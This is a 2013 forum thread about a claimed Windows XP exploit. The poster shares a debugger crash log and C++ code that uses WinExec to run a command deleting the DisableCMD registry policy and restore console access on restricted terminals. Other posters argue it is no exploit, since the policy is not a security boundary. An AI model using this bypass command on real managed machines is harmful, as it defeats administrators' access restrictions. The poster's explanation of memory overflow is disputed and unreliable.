Windows XP 32 Bit Policy Exploit

[JMC31337]

Short of it is: I was working on long pointer strings and found this

This exception may be expected and handled.

eax=0022fc54 ebx=00000000 ecx=0022fca7 edx=7c90e514 esi=80000003 edi=00000000

eip=80000003 esp=0022fc5c ebp=0022fca4 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202

80000003 ??              ???

0:000> gh

(1650.139c): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=0022fc54 ebx=00000000 ecx=0022fca7 edx=7c90e514 esi=80000003 edi=00000000

eip=80000003 esp=0022fc5c ebp=0022fca4 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202

80000003 ??              ???

0:000> !load msec

0:000> !exploitable

Exploitability Classification: EXPLOITABLE

Recommended Bug Title: Exploitable - Read Access Violation at the Instruction Pointer starting at Unknown Symbol @ 0xffffffff80000003 (Hash=0x6e05193a.0x7505193a)
Access violations at the instruction pointer are exploitable if not near NULL

trying to exploit this i managed to get dumped into a Console prompt breaking past DisableCMD=2 policy settings

The operation completed successfully
The command prompt has been disabled by your administrator.
Press any key to continue . . .
Error:  The system was unable to find the specified registry key or value
M:\Dev-Cpp>

using this code

//DEV-C++

//Link w/ -lwinmm -lgdi32

//===============================================

#include <iostream>

#include <windows.h>

#include <ctime>

#include <cstdlib>

//#include <commctrl.h>

#include <iomanip>

#include <stdexcept>

#include <excpt.h>

#include <dbghelp.h>

#include <sstream>

#include <string>

#include <tchar.h>

#include <cmath>

#include <tlhelp32.h>

#include <stdio.h>

#include <conio.h>

#include <io.h>

#include <fcntl.h>

#define _USE_MATH_DEFINES

#define VK_NUMPAD1 0x61
using namespace std;
unsigned long int len;

LPSTR lpBuffer,lpFinal,lpTemp;

int zzz;

unsigned long int u,y;

char array[15]={'\0'};

char str,strTmp;

LPSTR lpPoppin;
void fx1(LPSTR lpTemp)

{

lpPoppin = new char[strlen(lpBuffer)];

lstrcpy(lpFinal,lpTemp);

int seg=0;

for(int ff=10;ff<=strlen(lpBuffer);ff++)

{
lpPoppin[seg] = lpFinal[ff];

seg++;

}

lstrcat(lpPoppin," /k reg delete HKCU\\Software\\Policies\\Microsoft\\Windows\\System /v DisableCMD /f");

WinExec(lpPoppin,5); //WM_SHOW = 5
}

int main()

{

lpBuffer = "                ";

u=0;y=0;

lpFinal = new char[strlen(lpBuffer)+1];

*lpFinal = 0;

lpTemp = new char[strlen(lpBuffer)+1];

*lpTemp = 0;
for(int gg=0;gg<=strlen(lpBuffer);gg++)

{
//lpTemp[gg]=0;
}

while(u<=strlen(lpBuffer))

{

lpTemp[y]=lpBuffer[u];
if(lpTemp[y] == ' ')

{

MessageBox(0,0,"Space",0);

fx1(lpTemp);

}

if(u==strlen(lpBuffer))

{

MessageBox(0,0,"End",0);

fx1(lpTemp);

break;

}
else

{

y++;

u++;

}
}

cout<<"\nlpBuffer:"<<lpBuffer;

cout<<"\nlpTemp:"<<lpTemp;

cout<<"\nStrlenof lpBuffer:"<<strlen(lpBuffer);

cout<<"\nStrlenof lpTemp:"<<strlen(lpTemp);

getchar();

return 0;
}

for whatever reason, once the long pointer string buffer that was created is setup their is a \cmd sitting in the memory overflowing into the buffer until it is overwritten or concatenated.. seeing this i setup another lpstr variable and simply copied the cmd from the overflown memory into its own variable then lstrcat the exploit to delete the particular DisableCMD reg key and it dropped me straight to CONSOLE cli

 

old news, but MCSFT said that a simple DisableCMD would prevent this type of privileged exploit, supposedly the:

 

V. WORKAROUND

Restrict console access on public terminals where security is a concern.

This can be accomplished by creating the following registry key:

HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System

Add a DWORD named DisableCMD with the value "1" to disable command prompt and batch files or the value "2" to disable command prompt but allow batch files.

(see http://channel9.msdn.com/Forums/Coffeehouse/55526-Serious-Privilege-Escalation-Exploit)

Edited October 27, 2013 by JMC31337

[kao]

So, you discovered that running "reg delete" actually deletes registry key? Genius!

[JMC31337]

Right!
Pure work of a mad doctor
Who would have thought reg delete would do that...
But where oh where does the cmd.exe get ran from in memory?

Edited October 27, 2013 by JMC31337

[Peter Ferrie]

how did you run the file in the first place? Via a batch file? That's your cmd.exe invocation, and having deleted the policy setting, you regain access to your command prompt.

Besides, public terminals shouldn't allow you to run arbitrary programs in the first place, so you shouldn't be able to introduce the file that deletes the policy.

[JMC31337]

how did you run the file in the first place? Via a batch file? That's your cmd.exe invocation, and having deleted the policy setting, you regain access to your command prompt. Besides, public terminals shouldn't allow you to run arbitrary programs in the first place, so you shouldn't be able to introduce the file that deletes the policy.

 

No batch file.. GUI double click (WinExec)

A few years ago i did research upon the difference between WinExec ShellExecute Command.com cmd.exe

If memory serves me correctly: When you use the GUI to "run" an exe file its sending the WinExec API

However, if i were to try ShellExecute it would give the System Admin Disabled message the same if i had tried to run cmd.exe

Command.com bypasses this too  (Windows on Windows - WoW system- is different)

 

Public Terminals will always let you run Winexecute, or else you would never be able to run any web browsers... So this "exploit" is ran using the WinExec which furthers attempts to grab the CMD from overflowed memory and run whatever it is you want: I.e. cmd.exe 

 

thats my theory... 

[JMC31337]

Hey Ferrie?

Saw your site http://pferrie.host22.com/

 

MCSFT eh? So is the WinExec using CMD.exe similar to that of how ShellExecute would?

And is it a different privilege level when using each API to execute something?

[kao]

Let me get some things straight. 

 

Your user privileges on that PC allow you to:

a. execute program of your choice in that restricted environment. Doesn't matter what program or how it's started (WinExec/ShellExecute/CreateProcess). Main point is - you can.

b. delete DisableCMD registry value. Again - it doesn't matter which API function you use, doesn't matter if you use regedit.exe, "cmd.exe /k", reg.exe or just call some API. Main point is - you can.

If both a. and b. are true, your code is not an exploit for XP Security Policies. It just combines 2 actions which were both allowed on PC in question. It's still possible that you have discovered some issue with WinExec and command-line parsing - but it has nothing to do with XP Security Policies. 

 

For more reading - Google about privilege boundaries and how they relate to what is and what isn't an exploit. Or just start here: http://doubt.pernick.org/2007/07/06/windows-security-boundaries/ and check the linked posts too.

[JMC31337]

Let me get some things straight. 

 

Your user privileges on that PC allow you to:

a. execute program of your choice in that restricted environment. Doesn't matter what program or how it's started (WinExec/ShellExecute/CreateProcess). Main point is - you can.

b. delete DisableCMD registry value. Again - it doesn't matter which API function you use, doesn't matter if you use regedit.exe, "cmd.exe /k", reg.exe or just call some API. Main point is - you can.

If both a. and b. are true, your code is not an exploit for XP Security Policies. It just combines 2 actions which were both allowed on PC in question. It's still possible that you have discovered some issue with WinExec and command-line parsing - but it has nothing to do with XP Security Policies. 

 

For more reading - Google about privilege boundaries and how they relate to what is and what isn't an exploit. Or just start here: http://doubt.pernick.org/2007/07/06/windows-security-boundaries/ and check the linked posts too.

well actually.. up until i placed DisableCMD=2 

i could do all those things

after that was set, i could not run cmd.exe with either winexec or shellexec or double click(winexec) cmd.exe to run it

i could however still run command.com

After i runthe above ( I USE THE TERM LOOSELY)   "exploit"  even if DisableCMD=2 is set

(which says NO CMD and NO BAT files) i could reproduce that original PoC

 

With DisableCMD=2 if i had used Dev-C++ to run cmd.exe (without /k params) with ShellExecute or WinExec i would get the ADMIN DISABLE bla bla msg

Edited November 6, 2013 by JMC31337

[Peter Ferrie]

ShellExecute can invoke cmd.exe, which is why you see the message.

command.com isn't CMD. The policy restricts CMD. The fact that command.com isn't protected is probably for legacy support, but I don't know.

It's not an issue for x64, obviously. :-)

If you can get your program to run, then you can delete the registry key, and then you get access.

The policy isn't a security boundary, because if you run command.com, then you can run regedit.exe, and then delete the key by yourself.